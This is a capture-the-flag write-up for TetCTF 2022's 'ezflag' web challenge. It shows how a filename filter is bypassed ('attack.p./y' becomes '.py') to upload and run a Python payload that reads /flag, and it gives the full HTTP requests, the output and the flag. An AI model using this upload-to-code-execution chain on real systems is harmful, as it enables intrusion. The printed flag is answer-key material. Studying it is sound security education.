The full detailed writeup including part 2 is at https://nandynarwhals.org/tetctf-2022-ezflag/.
Unpacking the tar file provided yields the following web application deployment files:
```console$ tar xvf ezflag_109ff451f9d11258d01594c77aae131c.tar.gzx ezflag/conf/x ezflag/conf/lighttpd.confx ezflag/conf/nginx-site.confx ezflag/www/x ezflag/www/html/x ezflag/www/cgi-bin/x ezflag/www/upload/x ezflag/www/upload/shell.pyx ezflag/www/cgi-bin/upload.pyx ezflag/www/html/upload.html```
The `upload.py` file implements the main web application logic through CGI. Breaking it up, we havethe main function that performs basic authentication check and if it passes, dispatches to the righthandler.
```python#!/usr/bin/env python3
import osimport cgiimport base64import socket
def write_header(key, value) -> None:    print('{:s}: {:s}'.format(key, value))
def write_status(code, msg) -> None:    print('Status: {:d} {:s}'.format(code, msg), end='\n\n')
def write_location(url) -> None:    print('Location: {:s}'.format(url), end='\n\n')
...
if __name__ == '__main__':    if not check_auth():        write_header('WWW-Authenticate', 'Basic')        write_status(401, 'Unauthorized')    else:        method = os.environ.get('REQUEST_METHOD')        if method == 'POST':            handle_post()        elif method == 'GET':            handle_get()        else:            write_status(405, 'Method Not Allowed')
```
The basic authentication check parses the header and then forwards the `username` and `password` asnewline terminated strings to a server listening on port `4444` on the remote localhost. It checksif the first byte sent back is a `'Y'`. We are given the username and password of `admin:admin` sowe'll just use these credentials for now.
```pythondef check_auth() -> bool:    auth = os.environ.get('HTTP_AUTHORIZATION')    if auth is None or len(auth) < 6 or auth[0:6] != 'Basic ':        return False    auth = auth[6:]    try:        data = base64.b64decode(auth.strip().encode('ascii')).split(b':')        if len(data) != 2:            return False        username = data[0]        password = data[1]        if len(username) > 8 or len(password) > 16:            return False        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.connect(('127.0.0.1', 4444))        s.settimeout(5)        s.send(username + b'\n' + password + b'\n')        result = s.recv(1)        s.close()        if result == b'Y':            return True        return False    except:        return False```
The `GET` handler is simple, it just prints the contents of an `upload.html` HTML file in theresponse.
```pythondef handle_get() -> None:    with open('../html/upload.html', 'rb') as f:        dat = f.read()
    write_header('Content-Type', 'text/html')    write_header('Content-Length', str(len(dat)))    write_status(200, 'OK')    print(dat.decode('utf-8'), end=None)
```
The `POST` handler is more interesting. It allows for the writing of an arbitrary file to an`upload` directory with some constraints on the filename. It checks for the existence of `..` or`.py` in the filename and rejects it if found. Additionally, it also 'normalises' the filename byremoving all occurrences of `'./'`.
```pythondef valid_file_name(name) -> bool:    if len(name) == 0 or name[0] == '/':        return False    if '..' in name:        return False    if '.py' in name:        return False    return True
def handle_post() -> None:    fs = cgi.FieldStorage()    item = fs['file']    if not item.file:        write_status(400, 'Bad Request')        return    if not valid_file_name(item.filename):        write_status(400, 'Bad Request')        return    normalized_name = item.filename.strip().replace('./', '')    path = ''.join(normalized_name.split('/')[:-1])    os.makedirs('../upload/' + path, exist_ok=True)    with open('../upload/' + normalized_name, 'wb') as f:        f.write(item.file.read())    write_location('/uploads/' + normalized_name)
```
Assuming we want to be able to write `.py` files, we can abuse the normalisation process totransform the filename to one that ends with `.py` after the check occurs. For example:
```pythonIn [486]: name = "attack.p./y"     ...: assert ".py" not in name     ...: normalized_name = name.strip().replace('./', '')     ...: assert ".py" in normalized_name     ...: print(normalized_name)attack.py```
If we look in `nginx-site.conf`, we can see that the `/upload/` directory that we can upload filesto is mapped to the `/uploads/` path on the web server.
```server {    listen 80;    listen [::]:80;
    location / {        proxy_set_header X-Real-IP $remote_addr;        proxy_set_header X-Forwarded-For $remote_addr;        proxy_pass http://127.0.0.1:8080/cgi-bin/upload.py;    }
    location /uploads/ {        proxy_set_header X-Real-IP $remote_addr;        proxy_set_header X-Forwarded-For $remote_addr;        proxy_pass http://127.0.0.1:8080/uploads/;    }}```
Within the `lighttpd.conf` configuration file, we can see that `.py` files are executed with the`/usr/bin/python3` interpreter with CGI. Thus, if we write a `.py` file, we can simply visit thepath and it should execute our arbitrary code.
```...alias.url += ( "/cgi-bin" => "/var/www/cgi-bin" )alias.url += ( "/uploads" => "/var/www/upload" )cgi.assign = ( ".py" => "/usr/bin/python3" )```
Putting this together, we can create our exploit python script on the server with the following`POST` request, including the `admin:admin` basic authentication header.
```POST / HTTP/1.1Host: 18.191.117.63:9090User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------27015668151794350363716216349Content-Length: 315Origin: http://18.191.117.63:9090Authorization: Basic YWRtaW46YWRtaW4=Connection: closeReferer: http://18.191.117.63:9090/Upgrade-Insecure-Requests: 1
-----------------------------27015668151794350363716216349Content-Disposition: form-data; name="file"; filename="amon_34123.p./y"Content-Type: application/octet-stream
#!/usr/bin/env python3
import osprint(os.system("ls -la /;cat /flag"))
-----------------------------27015668151794350363716216349--
```
Next, to trigger the script, we just simply visit the `/uploads/amon_34123.py` script path.
```GET /uploads/amon_34123.py HTTP/1.1Host: 18.191.117.63:9090User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateAuthorization: Basic YWRtaW46YWRtaW4=Connection: closeUpgrade-Insecure-Requests: 1
```
In the response, we can see that the `flag` as well as some other interesting file such as `flag2`and `auth` are located at the `/` path. We also obtain our first flag.
```HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 01 Jan 2022 06:58:00 GMTContent-Length: 1636Connection: close
total 864drwxr-xr-x   1 root   root     4096 Jan  1 00:06 .drwxr-xr-x   1 root   root     4096 Jan  1 00:06 ..-rwxr-xr-x   1 root   root        0 Jan  1 00:06 .dockerenv-r-xr--r--   1 daemon daemon 802768 Dec 31 22:39 authlrwxrwxrwx   1 root   root        7 Oct  6 16:47 bin -> usr/bindrwxr-xr-x   2 root   root     4096 Apr 15  2020 bootdrwxr-xr-x   5 root   root      340 Jan  1 03:44 devdrwxr-xr-x   1 root   root     4096 Jan  1 00:06 etc-r--r--r--   1 root   root       41 Jan  1 00:03 flag-r--------   1 daemon daemon     41 Jan  1 00:03 flag2drwxr-xr-x   2 root   root     4096 Apr 15  2020 homelrwxrwxrwx   1 root   root        7 Oct  6 16:47 lib -> usr/liblrwxrwxrwx   1 root   root        9 Oct  6 16:47 lib32 -> usr/lib32lrwxrwxrwx   1 root   root        9 Oct  6 16:47 lib64 -> usr/lib64lrwxrwxrwx   1 root   root       10 Oct  6 16:47 libx32 -> usr/libx32drwxr-xr-x   2 root   root     4096 Oct  6 16:47 mediadrwxr-xr-x   2 root   root     4096 Oct  6 16:47 mntdrwxr-xr-x   2 root   root     4096 Oct  6 16:47 optdr-xr-xr-x 995 root   root        0 Jan  1 03:44 procdrwx------   1 root   root     4096 Jan  1 03:40 rootdrwxr-xr-x   1 root   root     4096 Jan  1 00:06 run-rwxr-xr-x   1   1000   1000    189 Dec 31 15:29 run.shlrwxrwxrwx   1 root   root        8 Oct  6 16:47 sbin -> usr/sbindrwxr-xr-x   2 root   root     4096 Oct  6 16:47 srvdr-xr-xr-x  13 root   root        0 Jan  1 03:44 sysdrwxrwxrwt   1 root   root     4096 Jan  1 06:57 tmpdrwxr-xr-x   1 root   root     4096 Jan  1 00:05 usrdrwxr-xr-x   1 root   root     4096 Jan  1 00:05 varTetCTF{65e95f4eacc1fe7010616e051f1c610a}0
```
**Flag:** `TetCTF{65e95f4eacc1fe7010616e051f1c610a}`